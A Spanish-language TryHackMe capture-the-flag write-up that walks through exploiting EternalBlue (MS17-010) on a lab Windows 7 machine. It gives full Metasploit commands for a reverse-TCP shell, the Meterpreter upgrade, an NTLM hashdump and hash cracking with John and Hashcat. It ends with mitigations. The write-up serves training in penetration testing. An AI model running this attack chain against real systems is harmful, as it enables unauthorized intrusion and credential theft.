Blue - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Blue - TryHackMe Walkthrough
Bienvenido a mi writeup de la máquina Blue de TryHackMe. Esta es una room con formato walkthrough que guía paso a paso a través de la explotación de un sistema Windows 7 vulnerable a EternalBlue (MS17-010), uno de los exploits más famosos filtrados por The Shadow Brokers en 2017.
Room: Blue
Dificultad: Easy
OS: Windows
Objetivo: Explotar EternalBlue y capturar 3 flags
🎯 Información del Objetivo
IP Target: 10.10.201.168
🔍 Fase 1: Reconocimiento (RECON)
Escaneo de Puertos
El primer paso es identificar los servicios expuestos en el objetivo. Lanzo un escaneo con detección de versiones y scripts por defecto:
nmap -sV -sC 10.10.201.168-sV→ Detección de versiones de los servicios-sC→ Ejecuta los scripts NSE por defecto (equivale a--script=default)

Veo varios puertos abiertos relacionados con servicios de Windows. Los que me interesan son el 135 (MSRPC), el 139 (NetBIOS) y el 445 (SMB). El sistema operativo identificado es Windows 7 Professional 7601 Service Pack 1. Con SMB abierto en una máquina Windows 7 sin parchear, lo primero que me viene a la cabeza es EternalBlue.
Detección de Vulnerabilidades
Con el puerto 445 identificado, lanzo los scripts de detección de vulnerabilidades de nmap específicamente sobre ese puerto:
nmap 10.10.201.168 -p445 --script=vuln-p445→ Escanea únicamente el puerto 445 (SMB)--script=vuln→ Ejecuta todos los scripts NSE de la categoría de detección de vulnerabilidades

El sistema es vulnerable a MS17-010 (EternalBlue).
EternalBlue es un exploit desarrollado originalmente por la NSA que aprovecha una vulnerabilidad crítica en el protocolo SMBv1 de Windows. Fue filtrado por The Shadow Brokers en abril de 2017 y utilizado en ataques masivos como WannaCry y NotPetya. Lo que lo hace especialmente peligroso es que permite ejecución remota de código y acceso como NT AUTHORITY\SYSTEM sin necesidad de autenticación previa.
💡 Microsoft lanzó el parche MS17-010 en marzo de 2017, pero muchos sistemas no fueron actualizados a tiempo, lo que permitió que WannaCry infectara más de 200.000 equipos en 150 países.
🚀 Fase 2: Explotación — EternalBlue con Metasploit
Arrancar Metasploit y Buscar el Exploit
Inicio Metasploit Framework:
msfconsoleLanza el intérprete interactivo de Metasploit Framework
Dentro de la consola, busco el módulo de EternalBlue:
search ms17-010search→ Busca módulos en la base de datos de Metasploit por nombre, CVE o descripciónms17-010→ El identificador del boletín de seguridad de Microsoft
El módulo que necesito es exploit/windows/smb/ms17_010_eternalblue. Lo selecciono:
use exploit/windows/smb/ms17_010_eternalblueuse→ Selecciona el módulo indicado como activo para configurar y ejecutar
Configuración del Exploit
Reviso las opciones disponibles:
show optionsMuestra todos los parámetros configurables del módulo activo, indicando cuáles son obligatorios

El parámetro obligatorio que falta es RHOSTS (Remote Hosts), la IP del objetivo. Configuro también LHOST con mi propia IP para la conexión de retorno:
set RHOSTS 10.10.201.168
set LHOST 10.8.63.221set RHOSTS→ IP del objetivo (víctima)set LHOST→ Mi IP (atacante), necesaria para la conexión de retorno del payload
Configuración del Payload
Configurar el payload explícitamente antes de explotar es buena práctica. Establezco un reverse shell para que la máquina víctima se conecte de vuelta a mí:
set payload windows/x64/shell/reverse_tcpset payload→ Define el código malicioso que se inyectará y ejecutará en el objetivowindows/x64/shell/reverse_tcp→ Shell básica de Windows de 64 bits con conexión TCP inversa
Ejecución del Exploit
Con todo configurado, lanzo el exploit:
runEjecuta el módulo activo con la configuración actual

Tengo shell en el sistema objetivo. Pongo la sesión en segundo plano con Ctrl + Z para poder trabajar con otros módulos de Metasploit.
⬆️ Fase 3: Post-Explotación — Meterpreter y Privilegios
Conversión a Meterpreter
Una shell básica de Windows es funcional pero limitada. Meterpreter ofrece capturas de pantalla, keyloggers, dump de credenciales, pivoting y mucho más. Existe un módulo de Metasploit para convertir una shell existente a Meterpreter:
use post/multi/manage/shell_to_meterpreterpost/multi/manage/shell_to_meterpreter→ Módulo de post-explotación que upgradea una shell básica a Meterpreter
El parámetro obligatorio es SESSION, que indica qué sesión activa quiero convertir. Listo primero las sesiones disponibles:
sessions -l-l→ Lista todas las sesiones activas en Metasploit

Tengo la sesión con ID 1 (la shell de EternalBlue). La configuro y ejecuto la conversión:
set SESSION 1
runset SESSION 1→ Indica qué sesión existente se va a convertir a Meterpreterrun→ Ejecuta el módulo de conversión

La conversión se completó. Listo las sesiones de nuevo y me conecto a la nueva sesión Meterpreter:
sessions -i 2-i 2→ Interactúa con la sesión de ID 2 (la nueva sesión Meterpreter)

Verificación de Privilegios
Verifico mi nivel de privilegios:
getuidMuestra el usuario con el que está corriendo la sesión Meterpreter actual

Tengo privilegios de NT AUTHORITY\SYSTEM, el nivel más alto en Windows. Para confirmarlo también desde una shell tradicional:
shell
whoami
exitshell→ Abre una cmd.exe dentro de la sesión Meterpreterwhoami→ Muestra el usuario efectivo del proceso actualexit→ Cierra la cmd y vuelve a Meterpreter

Migración de Procesos
Listo todos los procesos en ejecución para encontrar uno estable corriendo como SYSTEM:
psLista todos los procesos en ejecución con su PID, nombre, arquitectura y usuario propietario

Identifico smss.exe con PID 416, que corre como NT AUTHORITY\SYSTEM. Migro a él:
migrate 416migrate→ Mueve el proceso de Meterpreter al PID indicado para mayor estabilidad y persistencia416→ PID del proceso smss.exe que corre como SYSTEM
⚠️ La migración de procesos puede ser inestable. Si falla, prueba con otro proceso o reinicia el exploit.
🔓 Fase 4: Extracción y Cracking de Credenciales
Dump de Hashes NTLM
Con privilegios de SYSTEM puedo extraer los hashes de contraseñas almacenados en el sistema:
hashdumpExtrae los hashes NTLM de todas las cuentas locales desde el registro SAM. Requiere privilegios de SYSTEM

Los usuarios del sistema son Administrator, Guest y Jon. Los dos primeros son cuentas por defecto de Windows; Jon es el único usuario no predeterminado.
El hash NTLM de Jon es ffb43f0de35be4d9917ac0cc8ad57f8d. El formato de salida es username:RID:LM_hash:NTLM_hash:::.
Cracking del Hash
Con el hash en mano, lo crackeo usando CrackStation:

La contraseña de Jon es alqfna22.
También podría crackearlo offline con John the Ripper:
john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt--format=NT→ Indica que los hashes son de tipo NTLM--wordlist→ Ruta al diccionario de contraseñas
O con Hashcat para mayor velocidad:
hashcat -m 1000 ffb43f0de35be4d9917ac0cc8ad57f8d /usr/share/wordlists/rockyou.txt-m 1000→ Modo NTLM en Hashcat
🚩 Fase 5: Captura de Flags
Las flags en esta máquina representan ubicaciones importantes en el sistema de archivos de Windows que cualquier pentester debe conocer.
Flag 1 — Raíz del sistema
El system root en Windows es la raíz de la unidad del sistema, C:\. Navego y leo la flag:
cd C:\\
ls
cat flag1.txtcd C:\\→ Navega a la raíz de la unidad C:ls→ Lista el contenido del directoriocat flag1.txt→ Lee el archivo de la flag
Ubicación: C:\flag1.txt

🚩 Flag 1 capturada!
Flag 2 — Almacén de contraseñas
Las contraseñas en Windows se almacenan en el registro SAM (Security Account Manager), ubicado en C:\Windows\System32\config. Esta carpeta contiene archivos críticos del sistema: SAM, SYSTEM, SOFTWARE y SECURITY. Con acceso a los archivos SAM y SYSTEM se pueden extraer credenciales incluso de forma offline.
cd C:\\Windows\\System32\\config
ls
cat flag2.txtcd C:\\Windows\\System32\\config→ Navega al directorio de configuración del sistemacat flag2.txt→ Lee el archivo de la flag
Ubicación: C:\Windows\System32\config\flag2.txt

🚩 Flag 2 capturada!
Flag 3 — Botín del administrador
Los administradores suelen guardar información sensible en sus carpetas personales. Investigo el perfil del usuario Jon en C:\Users\Jon\Documents:
cd C:\\Users\\Jon\\Documents
ls
cat flag3.txtcd C:\\Users\\Jon\\Documents→ Navega a la carpeta Documents del usuario Joncat flag3.txt→ Lee la flag
Ubicación: C:\Users\Jon\Documents\flag3.txt

🚩 Flag 3 capturada!
📊 Resumen
Cadena de Ataque
SMB Puerto 445 → MS17-010 (EternalBlue) → Metasploit → NT AUTHORITY\SYSTEM → Hashdump → 3 Flags
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y detección de vulnerabilidades
- msfconsole — Explotación con EternalBlue, conversión a Meterpreter y post-explotación
- CrackStation — Cracking de hash NTLM online
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| MS17-010 (EternalBlue) en SMBv1 | CRÍTICA | Aplicar parche MS17-010 y deshabilitar SMBv1 |
| SMB expuesto sin segmentación | ALTA | Segmentar red y bloquear puertos 445/139 desde Internet |
| Contraseña débil del usuario Jon | MEDIA | Políticas de contraseñas robustas (mínimo 12 caracteres, complejidad) |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.